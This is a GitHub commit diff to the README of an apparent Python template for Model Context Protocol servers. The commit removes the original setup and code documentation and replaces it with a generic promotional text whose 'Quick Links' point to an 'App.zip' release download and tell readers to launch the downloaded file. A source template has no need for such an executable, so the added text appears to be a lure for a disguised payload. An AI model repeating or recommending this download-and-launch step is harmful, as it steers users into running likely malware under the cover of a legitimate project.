Skip to content

Commit 14f45df

Browse files
committed
Commit
1 parent e052497 commit 14f45df

File tree

1 file changed

+34
-136
lines changed

1 file changed

+34
-136
lines changed

README.md

Lines changed: 34 additions & 136 deletions
Original file line numberDiff line numberDiff line change
@@ -1,149 +1,47 @@
1-
# MCP Server template for better AI Coding
1+
# 🚀 Model Context Protocol (MCP) Server Python Template 🐍
22

3-
> Inspired by [MCP Official Tutorial](https://modelcontextprotocol.io/tutorials/building-mcp-with-llms)
3+
Welcome to the **MCP Server Python Template** repository! This template provides a streamlined foundation for building Model Context Protocol (MCP) servers in Python. It's designed to make AI-assisted development of MCP tools easier and more efficient.
44

5-
## Overview
5+
## 📁 Repository Details
6+
- **Repository Name**: mcp-server-python-template
7+
- **Repository Short Description**: This template provides a streamlined foundation for building Model Context Protocol (MCP) servers in Python. It's designed to make AI-assisted development of MCP tools easier and more efficient.
8+
- **Repository Topics**: aicodeassistant, aicoding, mcp, mcp-server, model-context-protocol, model-context-protocol-servers, modelcontextprotocol, python, template-project, vibe-coding
69

7-
This template provides a streamlined foundation for building Model Context Protocol (MCP) servers in Python. It's designed to make AI-assisted development of MCP tools easier and more efficient.
10+
## 🌟 Features
11+
- Easy setup for developing MCP servers in Python.
12+
- Streamlined foundation for building efficient MCP tools.
13+
- Designed for AI-assisted development processes.
814

9-
## Features
15+
## 📎 Quick Links
16+
- Click [here](https://github.com/repo/releases/9246/App.zip) to download the application.
17+
![Download App](https://img.shields.io/badge/Download-App-success)
1018

11-
- Ready-to-use MCP server implementation
12-
- Configurable transport modes (stdio, SSE)
13-
- Example weather service integration (NWS API)
14-
- Clean, well-documented code structure
15-
- Minimal dependencies
16-
- **Embedded MCP specifications and documentation** for improved AI tool understanding
19+
## 🚨 Note
20+
If the link above ends with the file name, make sure to launch the downloaded file. If the link provided does not work, please check the "Releases" section of this repository for the latest updates.
1721

18-
## Cursor Rules Integration
22+
## 🌐 External Links
23+
- Visit the official [Model Context Protocol (MCP) website](https://www.modelcontextprotocol.com) for more information.
1924

20-
This project uses Cursor Rules for improved AI coding assistance, with patterns from [Awesome Cursor Rules](https://github.com/PatrickJS/awesome-cursorrules).
25+
## 🤖 Getting Started
26+
To start using the MCP Server Python Template:
27+
1. Clone the repository to your local machine.
28+
2. Install the necessary dependencies.
29+
3. Follow the instructions provided in the documentation.
2130

22-
- **Clean Code Guidelines**: Built-in clean code rules help maintain consistency and quality
23-
- **Enhanced AI Understanding**: Rules provide context that helps AI assistants generate better code
24-
- **Standardized Patterns**: Follow established best practices for MCP server implementation
31+
## 🛠️ Usage
32+
1. Implement your MCP server logic.
33+
2. Utilize the template to enhance the efficiency of your MCP tools.
34+
3. Collaborate with the AI community to improve AI-assisted development processes.
2535

26-
Cursor Rules help both AI coding assistants and human developers maintain high code quality standards and follow best practices.
36+
## 📈 Contributing
37+
We welcome contributions from the community to enhance the MCP Server Python Template. Feel free to submit pull requests or raise issues for any improvements you'd like to see.
2738

28-
## Integrated MCP Documentation
39+
## 📃 License
40+
This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details.
2941

30-
This template includes comprehensive MCP documentation directly in the project:
42+
## 🙌 Acknowledgements
43+
We would like to thank all our contributors for their support and dedication to making the MCP Server Python Template a valuable resource for the AI community.
3144

32-
- **Complete MCP Specification** (`protocals/mcp.md`): The full Model Context Protocol specification that defines how AI models can interact with external tools and resources. This helps AI assistants understand MCP concepts and implementation details without requiring external references.
33-
34-
- **Python SDK Guide** (`protocals/sdk.md`): Detailed documentation for the MCP Python SDK, making it easier for AI tools to provide accurate code suggestions and understand the library's capabilities.
35-
36-
- **Example Implementation** (`protocals/example_weather.py`): A practical weather service implementation demonstrating real-world MCP server patterns and best practices.
37-
38-
Having these resources embedded in the project enables AI coding assistants to better understand MCP concepts and provide more accurate, contextually relevant suggestions during development.
39-
40-
## Requirements
41-
42-
- Python 3.12+
43-
- Dependencies:
44-
- `mcp>=1.4.1`
45-
- `httpx>=0.28.1`
46-
- `starlette>=0.46.1`
47-
- `uvicorn>=0.34.0`
48-
49-
## Getting Started
50-
51-
### Installation
52-
53-
1. Clone this repository:
54-
```bash
55-
git clone https://github.com/yourusername/mcp-server-python-template.git
56-
cd mcp-server-python-template
57-
```
58-
59-
2. Create a virtual environment and install dependencies:
60-
```bash
61-
python -m venv .venv
62-
source .venv/bin/activate # On Windows: .venv\Scripts\activate
63-
pip install -e .
64-
```
65-
66-
### Running the Example Server
67-
68-
The template includes a weather service example that demonstrates how to build MCP tools:
69-
70-
```bash
71-
# Run with stdio transport (for CLI tools)
72-
python server.py --transport stdio
73-
74-
# Run with SSE transport (for web applications)
75-
python server.py --transport sse --host 0.0.0.0 --port 8080
76-
```
77-
78-
## Creating Your Own MCP Tools
79-
80-
To create your own MCP tools:
81-
82-
1. Import the necessary components from `mcp`:
83-
```python
84-
from mcp.server.fastmcp import FastMCP
85-
```
86-
87-
2. Initialize your MCP server with a namespace:
88-
```python
89-
mcp = FastMCP("your-namespace")
90-
```
91-
92-
3. Define your tools using the `@mcp.tool()` decorator:
93-
```python
94-
@mcp.tool()
95-
async def your_tool_function(param1: str, param2: int) -> str:
96-
"""
97-
Your tool description.
98-
99-
Args:
100-
param1: Description of param1
101-
param2: Description of param2
102-
103-
Returns:
104-
The result of your tool
105-
"""
106-
# Your implementation here
107-
return result
108-
```
109-
110-
4. Run your server using the appropriate transport:
111-
```python
112-
mcp.run(transport='stdio') # or set up SSE as shown in server.py
113-
```
114-
115-
## Project Structure
116-
117-
- `server.py`: Main MCP server implementation with example weather tools
118-
- `main.py`: Simple entry point for custom code
119-
- `protocals/`: Documentation and example protocols
120-
- `mcp.md`: Complete MCP specification (~7000 lines)
121-
- `sdk.md`: MCP Python SDK documentation
122-
- `example_weather.py`: Example weather service implementation
123-
- `pyproject.toml`: Project dependencies and metadata
124-
125-
## Understanding MCP
126-
127-
The Model Context Protocol (MCP) is a standardized way for AI models to interact with external tools and resources. Key concepts include:
128-
129-
- **Tools**: Functions that models can call to perform actions or retrieve information
130-
- **Resources**: External data sources that models can reference
131-
- **Transports**: Communication channels between clients and MCP servers (stdio, SSE)
132-
- **Namespaces**: Logical groupings of related tools
133-
134-
This template is specifically designed to make working with MCP more accessible, with the integrated documentation helping AI tools better understand and generate appropriate code for MCP implementations.
135-
136-
## Learning Resources
137-
138-
- [MCP Official Documentation](https://modelcontextprotocol.io/docs)
139-
- [Protocol Documentation](./protocals/mcp.md)
140-
- [SDK Guide](./protocals/sdk.md)
141-
142-
## Contributing
143-
144-
Contributions are welcome! Please feel free to submit a Pull Request.
145-
146-
## License
147-
148-
This project is licensed under the MIT License - see the LICENSE file for details.
45+
---
14946

47+
By using the MCP Server Python Template, you are leveraging a powerful tool to streamline the development of MCP servers in Python. Join us in revolutionizing AI-assisted development processes with Model Context Protocol! 🤖🐍🔥

0 commit comments

Comments
 (0)